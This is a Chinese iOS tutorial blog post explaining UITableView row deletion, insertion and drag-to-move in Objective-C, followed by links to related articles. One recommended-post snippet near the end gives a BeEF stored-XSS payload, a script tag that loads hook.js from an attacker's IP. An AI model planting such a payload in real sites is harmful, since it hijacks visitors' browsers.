AJ学IOS(14)UI之UITableView扩充_表格的修改_(增删移动)
AJ分享,必须精品
先看效果图
代码
//
// Created by apple on 14-8-19.
// Copyright (c) 2014年 itcast. All rights reserved.
//
#import "HMViewController.h"
@interface HMViewController () <UITableViewDataSource, UITableViewDelegate>
/** 数据列表 */
@property (nonatomic, strong) NSMutableArray *dataList;
@property (nonatomic, strong) UITableView *tableView;
@end
@implementation HMViewController
- (UITableView *)tableView
{
if (_tableView == nil) {
_tableView = [[UITableView alloc] initWithFrame:self.view.bounds style:UITableViewStylePlain];
_tableView.dataSource = self;
_tableView.delegate = self;
[self.view addSubview:_tableView];
}
return _tableView;
}
- (NSMutableArray *)dataList
{
if (_dataList == nil) {
_dataList = [NSMutableArray arrayWithObjects:@"猫猫1号", @"猫猫1号", @"猫猫2号", @"猫猫3号", @"猫猫4号", @"猫猫5号",@"猫猫6号", @"猫猫7号", @"猫猫8号",@"猫猫9号", @"猫猫1号", @"猫猫1号",@"猫猫1号", @"猫猫1号", @"猫猫1号",@"猫猫1号", @"猫猫1号", @"猫猫1号",@"猫猫1号", @"猫猫1号", @"猫猫1号",@"猫猫1号", @"猫猫1号", @"猫猫1号",@"猫猫1号", @"猫猫1号", @"猫猫1号",@"猫猫1号", @"猫猫1号", @"猫猫1号",@"猫猫1号", @"猫猫1号", @"猫猫1号",nil];
}
return _dataList;
}
- (void)viewDidLoad
{
[super viewDidLoad];
[self tableView];
// 开始编辑,一旦editing == YES就默认开启删除模式
self.tableView.editing = YES;
}
- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
{
return self.dataList.count;
}
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
static NSString *ID = @"Cell";
UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:ID];
if (cell == nil) {
cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:ID];
}
// 设置表格
cell.textLabel.text = self.dataList[indexPath.row];
return cell;
}
// 只要实现了此方法,就能够支持手势拖拽删除了,删除需要自己干!
/**
UITableViewCellEditingStyleNone,
UITableViewCellEditingStyleDelete, 删除
UITableViewCellEditingStyleInsert 添加
*/
- (void)tableView:(UITableView *)tableView commitEditingStyle:(UITableViewCellEditingStyle)editingStyle forRowAtIndexPath:(NSIndexPath *)indexPath
{
if (editingStyle == UITableViewCellEditingStyleDelete) {
NSLog(@"要删除");
// MVC => 数据是保存在模型中
// 1. 删除self.dataList中indexPath对应的数据
[self.dataList removeObjectAtIndex:indexPath.row];
NSLog(@"%@", self.dataList);
// 2. 刷新表格(重新加载数据)
// 重新加载所有数据
// [self.tableView reloadData];
// deleteRowsAtIndexPaths让表格控件动画删除指定的行
[self.tableView deleteRowsAtIndexPaths:@[indexPath] withRowAnimation:UITableViewRowAnimationMiddle];
} else if (editingStyle == UITableViewCellEditingStyleInsert) {
NSLog(@"要添加数据");
// 1. 向数组添加数据
[self.dataList insertObject:@"王小二" atIndex:indexPath.row + 1];
// 2. 刷新表格
// [self.tableView reloadData];
// insertRowsAtIndexPaths让表格控件动画在指定indexPath添加指定行
// 新建一个indexPath
NSIndexPath *path = [NSIndexPath indexPathForRow:indexPath.row + 1 inSection:indexPath.section];
[self.tableView insertRowsAtIndexPaths:@[path] withRowAnimation:UITableViewRowAnimationMiddle];
}
}
// 只要实现此方法,就可以显示拖动控件
- (void)tableView:(UITableView *)tableView moveRowAtIndexPath:(NSIndexPath *)sourceIndexPath toIndexPath:(NSIndexPath *)destinationIndexPath
{
// 界面数据UITableView已经完成了
// 调整数据即可
// [self.dataList exchangeObjectAtIndex:sourceIndexPath.row withObjectAtIndex:destinationIndexPath.row];
// 1. 将源从数组中取出
id source = self.dataList[sourceIndexPath.row];
// 2. 将源从数组中删除
[self.dataList removeObjectAtIndex:sourceIndexPath.row];
NSLog(@"%@", self.dataList);
// 3. 将源插入到数组中的目标位置
[self.dataList insertObject:source atIndex:destinationIndexPath.row];
NSLog(@"%@", self.dataList);
}
#pragma mark - 代理方法
// 返回编辑样式,如果没有实现此方法,默认都是删除
- (UITableViewCellEditingStyle)tableView:(UITableView *)tableView editingStyleForRowAtIndexPath:(NSIndexPath *)indexPath
{
// if (indexPath.row % 2) {
// return UITableViewCellEditingStyleInsert;
// } else {
// return UITableViewCellEditingStyleDelete;
// }
return UITableViewCellEditingStyleInsert;
}
@end
UITableView支持删除手势
只要实现了此方法,就能够支持手势拖拽删除了,删除需要自己干!
- (void)tableView:(UITableView *)tableView commitEditingStyle:(UITableViewCellEditingStyle)editingStyle forRowAtIndexPath:(NSIndexPath *)indexPath
UITableViewCellEditingStyleNone, 没效果
UITableViewCellEditingStyleDelete, 删除
UITableViewCellEditingStyleInsert 添加
删除中要做的:
重新加载数据时候用[self.tableView reloadData];会效率低下
// MVC => 数据是保存在模型中
// 1. 删除self.dataList中indexPath对应的数据
[self.dataList removeObjectAtIndex:indexPath.row];
NSLog(@"%@", self.dataList);
// 2. 刷新表格(重新加载数据)
// 重新加载所有数据
// [self.tableView reloadData];
// deleteRowsAtIndexPaths让表格控件动画删除指定的行
[self.tableView deleteRowsAtIndexPaths:@[indexPath] withRowAnimation:UITableViewRowAnimationMiddle];
UITableView 增加
要实现守代理方法 tableView.delegate = self;
// 返回编辑样式,如果没有实现此方法,默认都是删除
- (UITableViewCellEditingStyle)tableView:(UITableView *)tableView editingStyleForRowAtIndexPath:(NSIndexPath *)indexPath
{
// if (indexPath.row % 2) {
// return UITableViewCellEditingStyleInsert;
// } else {
// return UITableViewCellEditingStyleDelete;
// }
return UITableViewCellEditingStyleInsert;
}
下面是在- (void)tableView:(UITableView )tableView commitEditingStyle:(UITableViewCellEditingStyle)editingStyle forRowAtIndexPath:(NSIndexPath )indexPath 方法中设置的
判断编辑样式,是删除还是增添,然后做相应操作
if (editingStyle == UITableViewCellEditingStyleInsert) {
NSLog(@"要添加数据");
// 1. 向数组添加数据
[self.dataList insertObject:@"旺旺旺旺狗狗" atIndex:indexPath.row + 1];
// 2. 刷新表格
// [self.tableView reloadData];
// insertRowsAtIndexPaths让表格控件动画在指定indexPath添加指定行
// 新建一个indexPath
NSIndexPath *path = [NSIndexPath indexPathForRow:indexPath.row + 1 inSection:indexPath.section];
[self.tableView insertRowsAtIndexPaths:@[path] withRowAnimation:UITableViewRowAnimationMiddle];
UITableView 移动
// 只要实现此方法,就可以显示拖动控件
- (void)tableView:(UITableView *)tableView moveRowAtIndexPath:(NSIndexPath *)sourceIndexPath toIndexPath:(NSIndexPath *)destinationIndexPath
{
// 界面数据UITableView已经完成了
// 调整数据即可
// [self.dataList exchangeObjectAtIndex:sourceIndexPath.row withObjectAtIndex:destinationIndexPath.row];
// 1. 将源从数组中取出
id source = self.dataList[sourceIndexPath.row];
// 2. 将源从数组中删除
[self.dataList removeObjectAtIndex:sourceIndexPath.row];
NSLog(@"%@", self.dataList);
// 3. 将源插入到数组中的目标位置
[self.dataList insertObject:source atIndex:destinationIndexPath.row];
NSLog(@"%@", self.dataList);
}
AJ学IOS(14)UI之UITableView扩充_表格的修改_(增删移动)的更多相关文章
- AJ学IOS 之小知识之_xcode插件的删除方法_自动提示图片插件KSImageNamed有时不灵_分类或宏之类不能自动提示,
AJ分享,必须精品 一:解决解决自动提示图片插件KSImageNamed有时不灵_分类或宏之类不能自动提示 其实,插件神马的我们自己也能写,并没有想象中的那么难,不过目前我们还是先解决当前问题 在做微 ...
- iOS开发UI篇—UITableview控件简单介绍
iOS开发UI篇—UITableview控件简单介绍 一.基本介绍 在众多移动应⽤用中,能看到各式各样的表格数据 . 在iOS中,要实现表格数据展示,最常用的做法就是使用UITableView,UIT ...
- iOS开发UI篇—UITableview控件基本使用
iOS开发UI篇—UITableview控件基本使用 一.一个简单的英雄展示程序 NJHero.h文件代码(字典转模型) #import <Foundation/Foundation.h> ...
- iOS开发UI篇—UITableview控件使用小结
iOS开发UI篇—UITableview控件使用小结 一.UITableview的使用步骤 UITableview的使用就只有简单的三个步骤: 1.告诉一共有多少组数据 方法:- (NSInteger ...
- AJ学IOS(13)UI之UITableView学习(下)汽车名牌带右侧索引
AJ分享,必须精品 先看效果图 代码 ViewController #import "NYViewController.h" #import "NYCarGroup.h& ...
- AJ学IOS(28)UI之Quartz2D简单介绍
AJ分享,必须精品 iOS开发UI篇—Quartz2D简单介绍 什么是Quartz2D Quartz 2D是⼀个二维绘图引擎,同时支持iOS和Mac系统 Quartz 2D能完成的工作: 绘制图形 : ...
- AJ学IOS 之微博项目实战(2)微博主框架-自定义导航控制器NavigationController
AJ分享,必须精品 一:添加导航控制器 上一篇博客完成了对底部的TabBar的设置,这一章我们完成自定义导航控制器(NYNavigationController). 为啥要做自定义呢,因为为了更好地封 ...
- AJ学IOS(12)UI之UITableView学习(上)LOL英雄联盟练习
AJ分享,必须精品 先看效果图 源代码 NYViewController的代码 #import "NYViewController.h" #import "NYHero. ...
- AJ学IOS(01) UI之Hello World与加法计算器
不多说,AJ分享,必须精品 这两个一个是HelloWorld(左边) 另一个是 加法计算器(右边)的截图. 先运行第一个 程序看看效果 1.打开Xcode(没有哦mac系统的没有xcode的帮你们默哀 ...
随机推荐
- iOS开发:Swift/Objective-C高效生成随机字符串
原文连接 Objective-C版 // 随机生成字符串(由大小写字母.数字组成) + (NSString *)random: (int)len { char ch[len]; for (int in ...
- Journal of Proteome Research | SAAVpedia: identification, functional annotation, and retrieval of single amino acid variants for proteogenomic interpretation | SAAV的识别、功能注释和检索 | (解读人:徐洪凯)
文献名:SAAVpedia: identification, functional annotation, and retrieval of single amino acid variants fo ...
- Beef xss神器
KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...
- canvas.toDataURL()报错的解决方案全都在这了
报错详尽信息 Uncaught DOMException: Failed to execute 'toDataURL' on 'HTMLCanvasElement': Tainted canvases ...
- java基本数据类型和引用数据类型的调用传递的区别
(1)基本数据类型:就是进行了值的传递把一份数据拷贝了之后传递过去 (2)引用数据类型:实际上也是进行了数据拷贝然后传过去,实际上也是值传递,只不过传递过去的值和原有的值指向了同一个对象 所以在调用的 ...
- 常见排序算法总结分析之选择排序与归并排序-C#实现
本篇文章对选择排序中的简单选择排序与堆排序,以及常用的归并排序做一个总结分析. 常见排序算法总结分析之交换排序与插入排序-C#实现是排序算法总结系列的首篇文章,包含了一些概念的介绍以及交换排序(冒泡与 ...
- CF 1012C Dp
Welcome to Innopolis city. Throughout the whole year, Innopolis citizens suffer from everlasting cit ...
- A TensorBoard plugin for visualizing arbitrary tensors in a video as your network trains.
Beholder is a TensorBoard plugin for viewing frames of a video while your model trains. It comes wit ...
- Docker搭建MySQL主从复制
Docker搭建MySQL主从复制 主从服务器上分别安装Docker 1.1 Docker 要求 CentOS 系统的内核版本高于 3.10 [root@localhost ~]# uname -r ...
- [noip2016]组合数问题<dp+杨辉三角>
题目链接:https://vijos.org/p/2006 当时在考场上只想到了暴力的做法,现在自己看了以后还是没思路,最后看大佬说的杨辉三角才懂这题... 我自己总结了一下,我不能反应出杨辉三角的递 ...